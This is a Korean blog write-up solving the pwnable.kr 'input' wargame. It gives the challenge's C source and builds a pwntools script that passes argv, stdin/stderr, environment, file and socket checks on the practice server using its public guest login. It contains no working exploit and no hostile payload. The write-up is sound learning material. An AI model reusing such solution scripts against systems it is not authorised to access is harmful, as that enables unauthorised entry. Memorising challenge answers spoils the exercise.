wyv3rn 2022. 12. 28. 17:22
728x90
반응형

1. intro

2. code 및 분석

2.1.  code

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <arpa/inet.h>

int main(int argc, char* argv[], char* envp[]){
        printf("Welcome to pwnable.kr\n");
        printf("Let's see if you know how to give input to program\n");
        printf("Just give me correct inputs then you will get the flag :)\n");

        // argv
        if(argc != 100) return 0;
        if(strcmp(argv['A'],"\x00")) return 0;
        if(strcmp(argv['B'],"\x20\x0a\x0d")) return 0;
        printf("Stage 1 clear!\n");

        // stdio
        char buf[4];
        read(0, buf, 4);
        if(memcmp(buf, "\x00\x0a\x00\xff", 4)) return 0;
        read(2, buf, 4);
        if(memcmp(buf, "\x00\x0a\x02\xff", 4)) return 0;
        printf("Stage 2 clear!\n");

        // env
        if(strcmp("\xca\xfe\xba\xbe", getenv("\xde\xad\xbe\xef"))) return 0;
        printf("Stage 3 clear!\n");

        // file
        FILE* fp = fopen("\x0a", "r");
        if(!fp) return 0;
        if( fread(buf, 4, 1, fp)!=1 ) return 0;
        if( memcmp(buf, "\x00\x00\x00\x00", 4) ) return 0;
        fclose(fp);
        printf("Stage 4 clear!\n");

        // network
        int sd, cd;
        struct sockaddr_in saddr, caddr;
        sd = socket(AF_INET, SOCK_STREAM, 0);
        if(sd == -1){
                printf("socket error, tell admin\n");
                return 0;
        }
        saddr.sin_family = AF_INET;
        saddr.sin_addr.s_addr = INADDR_ANY;
        saddr.sin_port = htons( atoi(argv['C']) );
        if(bind(sd, (struct sockaddr*)&saddr, sizeof(saddr)) < 0){
                printf("bind error, use another port\n");
                return 1;
        }
        listen(sd, 1);
        int c = sizeof(struct sockaddr_in);
        cd = accept(sd, (struct sockaddr *)&caddr, (socklen_t*)&c);
        if(cd < 0){
                printf("accept error, tell admin\n");
                return 0;
        }
        if( recv(cd, buf, 4, 0) != 4 ) return 0;
        if(memcmp(buf, "\xde\xad\xbe\xef", 4)) return 0;
        printf("Stage 5 clear!\n");

        // here's your flag
        system("/bin/cat flag");
        return 0;
}

2.2. 분석

코드 길이가 다소 길다;;;

어쨌든 조건을 하나하나 만족하면 플래그를 준다.

 

3. 취약점 확인 및 공격 준비

3.1. 취약점

별도로 취약점은 없다.

3.2. 공격 준비

하나씩 만족시켜보자.

 

첫번째는 argv이다.

        // argv
        if(argc != 100) return 0;
        if(strcmp(argv['A'],"\x00")) return 0;
        if(strcmp(argv['B'],"\x20\x0a\x0d")) return 0;
        printf("Stage 1 clear!\n");

인자 수가 100개여야 하고, argv A 즉, 65번째가 0x00, 66번째가 0x0d0a20이면 된다.

즉, 아래와 같이 클리어.

from pwn import *

pay=['./input']

for i in range(1,100):
    if (i == 66):
        pay.append(b'\x20\x0a\x0d')
    else:
        pay.append(b'\x00')

s = ssh(user='input2',host='pwnable.kr',port=2222,password='guest')

p = s.process(pay)

p.interactive()

 

두번째는 read 이다.

        // stdio
        char buf[4];
        read(0, buf, 4);
        if(memcmp(buf, "\x00\x0a\x00\xff", 4)) return 0;
        read(2, buf, 4);
        if(memcmp(buf, "\x00\x0a\x02\xff", 4)) return 0;
        printf("Stage 2 clear!\n");

첫번째 read는 atdin으로 받아들이며, 값이 0xff000a00 이면 통과,

두번째 read는 stderr 값이 0xff020a00 이면 통과이다.

stderr 값을 어떻게 줘야하나 고민했는데, gdb로 보니 그냥 주소를 참조하기에 값을 던졌다.

여기까지 보면 아래와 같다.

from pwn import *

pay=['./input']

for i in range(1,100):
    if (i == 66):
        pay.append(b'\x20\x0a\x0d')
    else:
        pay.append(b'\x00')

s = ssh(user='input2',host='pwnable.kr',port=2222,password='guest')

p = s.process(pay)

p.sendafter(b'Stage 1 clear!\n',p32(0xff000a00))
p.send(p32(0xff020a00))

p.interactive()

 

세번째는 환경변수다.

        // env
        if(strcmp("\xca\xfe\xba\xbe", getenv("\xde\xad\xbe\xef"))) return 0;
        printf("Stage 3 clear!\n");

프로그램 실행 시 함께 던질 수 있으니 변수로 등록해서 던지자.

from pwn import *

pay=['./input']

for i in range(1,100):
    if (i == 66):
        pay.append(b'\x20\x0a\x0d')
    else:
        pay.append(b'\x00')

env_={'\xde\xad\xbe\xef':'\xca\xfe\xba\xbe'}

s = ssh(user='input2',host='pwnable.kr',port=2222,password='guest')

p = s.process(pay,env=env_)

p.sendafter(b'Stage 1 clear!\n',p32(0xff000a00))
p.send(p32(0xff020a00))

p.interactive()

 

네번째는 파일 오픈이다.

      // file
        FILE* fp = fopen("\x0a", "r");
        if(!fp) return 0;
        if( fread(buf, 4, 1, fp)!=1 ) return 0;
        if( memcmp(buf, "\x00\x00\x00\x00", 4) ) return 0;
        fclose(fp);
        printf("Stage 4 clear!\n");

경로 지정이 필요하기에 어쩔 수 없이 코드를 다소 변경하였다.

from pwn import *

arg=[]

for i in range(0,100):
    if (i == 66):
        arg.append(b'\x20\x0a\x0d')
    else:
        arg.append(b'\x00')

env_={'\xde\xad\xbe\xef':'\xca\xfe\xba\xbe'}

s = ssh(user='input2',host='pwnable.kr',port=2222,password='guest')
#p = remote('pwnable.kr',9000)

s.write('/tmp/wyv3rn/\x0a','\x00\x00\x00\x00')

p = s.process(cwd ='/tmp/wyv3rn',executable='/home/input2/input',argv=arg,env=env_)

p.sendafter(b'Stage 1 clear!\n',p32(0xff000a00))
p.send(p32(0xff020a00))

p.interactive()

 

마지막 다섯번째 소캣이다.

        // network
        int sd, cd;
        struct sockaddr_in saddr, caddr;
        sd = socket(AF_INET, SOCK_STREAM, 0);
        if(sd == -1){
                printf("socket error, tell admin\n");
                return 0;
        }
        saddr.sin_family = AF_INET;
        saddr.sin_addr.s_addr = INADDR_ANY;
        saddr.sin_port = htons( atoi(argv['C']) );
        if(bind(sd, (struct sockaddr*)&saddr, sizeof(saddr)) < 0){
                printf("bind error, use another port\n");
                return 1;
        }
        listen(sd, 1);
        int c = sizeof(struct sockaddr_in);
        cd = accept(sd, (struct sockaddr *)&caddr, (socklen_t*)&c);
        if(cd < 0){
                printf("accept error, tell admin\n");
                return 0;
        }
        if( recv(cd, buf, 4, 0) != 4 ) return 0;
        if(memcmp(buf, "\xde\xad\xbe\xef", 4)) return 0;
        printf("Stage 5 clear!\n");

코드는 길지만 결국은 소캣을 열고, 지정된 포트 즉 argv['C']로 접속되어야하고,

접속 후 받아들인 값이 \xde\xad\xbe\xef 여야 한다.

from pwn import *

arg=[]

for i in range(0,100):
    if (i == 66):
        arg.append(b'\x20\x0a\x0d')
    elif (i == 67):
        arg.append(b'22222')    
    else:
        arg.append(b'\x00')

env_={'\xde\xad\xbe\xef':'\xca\xfe\xba\xbe'}

s = ssh(user='input2',host='pwnable.kr',port=2222,password='guest')
#p = remote('pwnable.kr',9000)

s.write('/tmp/wyv3rn/\x0a','\x00\x00\x00\x00')

p = s.process(cwd ='/tmp/wyv3rn',executable='/home/input2/input',argv=arg,env=env_)

p.sendafter(b'Stage 1 clear!\n',p32(0xff000a00))
p.send(p32(0xff020a00))

sleep(3)

soc = s.remote('localhost',22222)
soc.send('\xde\xad\xbe\xef')

p.interactive()

 

4. exploit

위 까지 작성 후 아래와 같이 메시지가 return 되었다.

┌[WyV3rN]-(d/hack)-
└> python3 a.py
[+] Connecting to pwnable.kr on port 2222: Done
[*] fd@pwnable.kr:
    Distro    Ubuntu 16.04
    OS:       linux
    Arch:     amd64
    Version:  4.4.179
    ASLR:     Enabled
/mnt/d/hack/a.py:18: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  s.write('/tmp/wyv3rn/\x0a','\x00\x00\x00\x00')
/mnt/d/hack/a.py:20: BytesWarning: Text is not bytes; assuming ISO-8859-1, no guarantees. See https://docs.pwntools.com/#bytes    
  p = s.process(cwd ='/tmp/wyv3rn',executable='/home/input2/input',argv=arg,env=env_)
[+] Starting remote process bytearray(b'/home/input2/input') on pwnable.kr: pid 98694
[+] Connecting to localhost:22222 via SSH to pwnable.kr: Done    
/mnt/d/hack/a.py:29: BytesWarning: Text is not bytes; assuming ISO-8859-1, no guarantees. See https://docs.pwntools.com/#bytes    
  soc.send('\xde\xad\xbe\xef')
[*] Switching to interactive mode
Stage 2 clear!
Stage 3 clear!
Stage 4 clear!
Stage 5 clear!
/bin/cat: flag: No such file or directory
[*] Got EOF while reading in interactive
$

flag 파일은 심볼릭 링크하자.

input2@pwnable:/tmp/wyv3rn$ ln -s /home/input2/flag flag
input2@pwnable:/tmp/wyv3rn$ ls -al
total 1040420
drwxrwxr-x  2 input2 input2       4096 Dec 28 03:20 .
drwxrwx-wt 11 root   root   1065357312 Dec 28 03:21 ..
-rw-rw-r--  1 input2 input2          4 Dec 28 03:21 ?
lrwxrwxrwx  1 input2 input2         17 Dec 28 03:20 flag -> /home/input2/flag

 

┌[WyV3rN]-(d/hack)-
└> python3 a.py
[+] Connecting to pwnable.kr on port 2222: Done
[*] fd@pwnable.kr:
    Distro    Ubuntu 16.04
    OS:       linux
    Arch:     amd64
    Version:  4.4.179
    ASLR:     Enabled
/mnt/d/hack/a.py:18: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  s.write('/tmp/wyv3rn/\x0a','\x00\x00\x00\x00')
/mnt/d/hack/a.py:20: BytesWarning: Text is not bytes; assuming ISO-8859-1, no guarantees. See https://docs.pwntools.com/#bytes    
  p = s.process(cwd ='/tmp/wyv3rn',executable='/home/input2/input',argv=arg,env=env_)
[+] Starting remote process bytearray(b'/home/input2/input') on pwnable.kr: pid 112819
[+] Connecting to localhost:22222 via SSH to pwnable.kr: Done    
/mnt/d/hack/a.py:28: BytesWarning: Text is not bytes; assuming ISO-8859-1, no guarantees. See https://docs.pwntools.com/#bytes    
  soc.send('\xde\xad\xbe\xef')
[*] Switching to interactive mode
Stage 2 clear!
Stage 3 clear!
Stage 4 clear!
Stage 5 clear!
----------#플래그는 삭제
[*] Got EOF while reading in interactive
$
728x90
반응형